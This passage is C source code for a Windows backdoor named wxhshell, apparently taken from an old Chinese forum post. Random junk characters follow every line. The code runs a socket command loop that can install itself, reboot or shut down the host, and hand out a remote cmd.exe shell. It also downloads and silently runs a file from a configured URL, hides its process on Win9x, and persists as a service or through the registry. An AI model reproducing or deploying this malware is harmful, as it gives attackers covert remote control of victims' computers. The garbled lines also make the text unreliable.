    switch(cmd[0]) { =yWdtBng  
  KxDp+]N]  
  // 帮助 Cv [1HO<  
  case '?': { w-3Lw<  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ZS[Ut  
    break; e m  
  } \\;y W~  
  // 安装 i&{%} ==7  
  case 'i': { =MT'e,T  
    if(Install()) L3A2A  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5 v^tPGg4  
    else #Hy\l J  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); MaPI<kYQv  
    break; d.HcO^  
    } OY2u,LF9H  
  // 卸载 Ss_}@p ^  
  case 'r': { f Xh{ _>  
    if(Uninstall()) MGY0^6yK5  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); |a %Wd  
    else Wb[k2V  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); }Rw6+;  
    break; wD4[UU?  
    } 8H|ac[hXK2  
  // 显示 wxhshell 所在路径 F)v  
  case 'p': { }9&dY!h +  
    char svExeFile[MAX_PATH]; ~+ 9v z  
    strcpy(svExeFile,"\n\r"); .h\Py[h<^  
      strcat(svExeFile,ExeFile); (][-()YV  
        send(wsh,svExeFile,strlen(svExeFile),0); @C^wV  
    break; K)5j  
    } "YW Z&_n**  
  // 重启 H8g%h}6h  
  case 'b': { w*&vH/D  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); /0$fYrg>J  
    if(Boot(REBOOT)) \j5`6}zm  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); pWq+`|l$  
    else { '.M4yif \g  
    closesocket(wsh); :HwdXhA6  
    ExitThread(0); r)OiiD"  
    } +vxOCN4}v  
    break; 7mf&`.C np  
    } ]:b52Z  
  // 关机 r/HTkXs I  
  case 'd': { V1pBKr)v  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); VBw 5[  
    if(Boot(SHUTDOWN)) vZ811U~}  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); |xg_z&dX  
    else { &1R#!|h1W  
    closesocket(wsh); H%gAgXHn  
    ExitThread(0); Y;%LwDC  
    } .a7RGT3]m  
    break; %y|pVN!U  
    } x^EW'-a  
  // 获取shell \"))P1  
  case 's': { |w54!f6w_  
    CmdShell(wsh); p6K~b  
    closesocket(wsh); K@{0]6  
    ExitThread(0); ;Q^>F6+_m  
    break; CbC [aVA=  
  } Y0T:%  
  // 退出 W/hzo*o'g  
  case 'x': { kLF`6ZXtd  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); $ P 5K   
    CloseIt(wsh); 6]~/`6Dub  
    break; !'p<Kh[i  
    } m*A b<$y  
  // 离开 mL2J  
  case 'q': { #qY gQ<TM!  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 6V%}2YE?X  
    closesocket(wsh); 'jfE?ngt  
    WSACleanup(); 6QCV i  
    exit(1); H-+U^@w  
    break; boGdZ2$h4  
        } 6XF Ufi+  
  } C@eL9R;N1  
  } /MY's&D(  
]tN)HRk1  
  // 提示信息 IDT\hTPIs  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); {)lZfj}l  
} m~AAO{\:b  
  } q,L>PN+W  
g:ky;-G8b  
  return; bE.<vF&  
} H'zAMGZa  
:?\29j#*V  
// shell模块句柄 .1RQ}Ro,<  
int CmdShell(SOCKET sock) XYuX+&XW/  
{ hS8M|_  
STARTUPINFO si; j0}wv~\  
ZeroMemory(&si,sizeof(si)); <Y7j'n  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; fc@<'-VA  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; f?tU5EX  
PROCESS_INFORMATION ProcessInfo; JI]Lz1i  
char cmdline[]="cmd"; f}(4v1 T  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Hq 5#.rZ#  
  return 0; Zt! $"N.,  
} #X'-/q`.  
Nuot[1kS  
// 自身启动模式 *sU,waX  
int StartFromService(void) O U7OX]h  
{ J{dO0!7y  
typedef struct 9 nc_$H{  
{ t;VMtIW+E  
  DWORD ExitStatus; /kG?I_z  
  DWORD PebBaseAddress; onSt%5{P%X  
  DWORD AffinityMask; Y+Z+Y)K  
  DWORD BasePriority; hbJy<e1W  
  ULONG UniqueProcessId; 0vfMJzk  
  ULONG InheritedFromUniqueProcessId; 2WH(c$6PWf  
}   PROCESS_BASIC_INFORMATION; k{;?>=FH!  
GBb8 }lx  
PROCNTQSIP NtQueryInformationProcess; ^-PYP:*  
&%j`WF4p  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; HN NeH;L  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 5 l8F.LtO\  
^2Cqy%x-  
  HANDLE             hProcess; +BtLd+)R  
  PROCESS_BASIC_INFORMATION pbi; jc_k\  
u;nn:K1QFr  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 2EpQ(G J  
  if(NULL == hInst ) return 0; ,)xtl`fc  
HLDv{G'7  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); N*Q*>q  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); npkT>dB+  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); k8st XW-w  
K\Q4u4DjbJ  
  if (!NtQueryInformationProcess) return 0; n Yx[9HN  
#pAN   
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); n%36a(] t  
  if(!hProcess) return 0; { /!ryOA65  
^E \4`  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Gq1C"s$4'  
 -V2`[k  
  CloseHandle(hProcess); \\ R<HuTY  
V_$<^z|  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 63\ CE_p  
if(hProcess==NULL) return 0; zwQ#Yvd  
] rqx><!  
HMODULE hMod; 6W YVHG  
char procName[255]; =jm\8sl~~  
unsigned long cbNeeded; VSUWX1k4%  
ImB5F'HI$  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ;>ml@@Z  
%?V~7tHm>  
  CloseHandle(hProcess); *\:sHVyG(  
9f& !Uw_W  
if(strstr(procName,"services")) return 1; // 以服务启动 3dZj<(.  
X^&--@l}T!  
  return 0; // 注册表启动 N?rE:0SJ  
} 5>S1lyam  
\ 6taC  
// 主模块 @`B_Q v@  
int StartWxhshell(LPSTR lpCmdLine) Dby|l#X  
{ G,WLca[  
  SOCKET wsl; x5g&?2[  
BOOL val=TRUE; .P5' \  
  int port=0; Y>c+j  
  struct sockaddr_in door; @6!Myez'  
<ir]bQT  
  if(wscfg.ws_autoins) Install(); S Cn)j:gH;  
$mAyM+ ph[  
port=atoi(lpCmdLine); FD%OG6db];  
k`'*niz  
if(port<=0) port=wscfg.ws_port; C %j%>X`  
9RS viIi$  
  WSADATA data; M'X,7hZ  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; )B+zv,#q  
x<w-j[{k_K  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   1n6%EC|X  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ]d{lS&PRlg  
  door.sin_family = AF_INET; 9zx9t  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Hd-g|'^K  
  door.sin_port = htons(port); KT(v'KE 1  
fV6ddh  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { e=# D1  
closesocket(wsl); 5}5oj37x  
return 1; nu|,wE!i  
} ]TtID4qL  
hVFZQJ?cv  
  if(listen(wsl,2) == INVALID_SOCKET) { &Wdi 5T8  
closesocket(wsl); fX\y/C  
return 1; W"t^t|H'~  
} +4qR5(W  
  Wxhshell(wsl); Ck m:;q  
  WSACleanup(); |,H 2ge  
dxS5-aWy9w  
return 0; y La E]  
{od@S l  
} `q  | )_  
sC2NFb-+&  
// 以NT服务方式启动 UbIUc}ge  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) {}RU'<D  
{ nHZhP4W  
DWORD   status = 0; (m2_Eh;  
  DWORD   specificError = 0xfffffff; Qk|+Gj  
f+)LVT8p  
  serviceStatus.dwServiceType     = SERVICE_WIN32; VH+3o?nrT  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; BT$Oh4y4  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; *c$UIg  
  serviceStatus.dwWin32ExitCode     = 0; OOABn*  
  serviceStatus.dwServiceSpecificExitCode = 0; !4Sd^"  
  serviceStatus.dwCheckPoint       = 0; ;v.J D7  
  serviceStatus.dwWaitHint       = 0; {(t R<z)  
+n%8*F&  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); N K@6U_/W  
  if (hServiceStatusHandle==0) return; X Vo+ <&  
ZTB6m`  
status = GetLastError(); n\BV*AH  
  if (status!=NO_ERROR) utn,`v   
{ ,I]]52+?4  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; \O,yWyU4  
    serviceStatus.dwCheckPoint       = 0; Ul 85-p  
    serviceStatus.dwWaitHint       = 0; ~6QV?j  
    serviceStatus.dwWin32ExitCode     = status; 9q[[ ,R  
    serviceStatus.dwServiceSpecificExitCode = specificError; %503 <j  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 4N3O<)C)@  
    return; `fG<iBD  
  } x'6i9]+r  
C}L2'l,  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; yOP$~L#TWs  
  serviceStatus.dwCheckPoint       = 0; jzWgyI1b  
  serviceStatus.dwWaitHint       = 0; +;oR_]l  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); fgF@ x  
} &arJe!K  
/_8nZVu  
// 处理NT服务事件,比如:启动、停止 0r!F]Rm-^  
VOID WINAPI NTServiceHandler(DWORD fdwControl) R'atg 9  
{ PB BJ.!Pb  
switch(fdwControl) E4.A$/s8[  
{ 4V mUTMY  
case SERVICE_CONTROL_STOP: BXz g33  
  serviceStatus.dwWin32ExitCode = 0; Of9 gS-m  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; muFWFq&yP  
  serviceStatus.dwCheckPoint   = 0; I\[z(CHg@  
  serviceStatus.dwWaitHint     = 0; V<PH5'^$j  
  { &Rz-;66bN  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); @ @(O##(7  
  } IfI:|w}:"r  
  return; oBo |eRIt|  
case SERVICE_CONTROL_PAUSE: z  61Fq  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; G"6XJYoI  
  break; Y%r>=Jvu6  
case SERVICE_CONTROL_CONTINUE: #60gjHYaV  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; M}=>~TA@  
  break; A2P.5EN  
case SERVICE_CONTROL_INTERROGATE: /paZJ}Pr.  
  break; +4[9Eb'k=  
}; xv%]g= Q  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); W}%[i+  
} _[wG-W/9R  
lWP]}Uy=5~  
// 标准应用程序主函数 N!-P2)@  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) \uJ+~db=  
{ '0I>  
O+=}x]q*y  
// 获取操作系统版本 it-2]Nw  
OsIsNt=GetOsVer(); T;S6<J  
GetModuleFileName(NULL,ExeFile,MAX_PATH); :1]J{,VG  
zpzxCzU  
  // 从命令行安装 k6RH]Ha  
  if(strpbrk(lpCmdLine,"iI")) Install(); nm %7e!{m  
KYz@H#M  
  // 下载执行文件 /`y^z"!  
if(wscfg.ws_downexe) { g\iSc~%?  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) f*p=j(sF  
  WinExec(wscfg.ws_filenam,SW_HIDE); oc[z dIk  
} BD]o+96qP  
2 ksbDl}  
if(!OsIsNt) { 4VC8#x1  
// 如果时win9x,隐藏进程并且设置为注册表启动 M(^ e)7a1  
HideProc(); OO,EUOh-T:  
StartWxhshell(lpCmdLine); +NeoGnj  
} J'k^(ZZ  
else sNMF(TY  
  if(StartFromService()) R+.kwq3CED  
  // 以服务方式启动 rdAy '38g  
  StartServiceCtrlDispatcher(DispatchTable); O&VA79\UO  
else ,H$%'s1I(  
  // 普通方式启动 3bQq Nk  
  StartWxhshell(lpCmdLine); VAe[x `  
us.IdG  
return 0; [EK^0g   
}
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只看该作者 1 发表于: 2006-10-10
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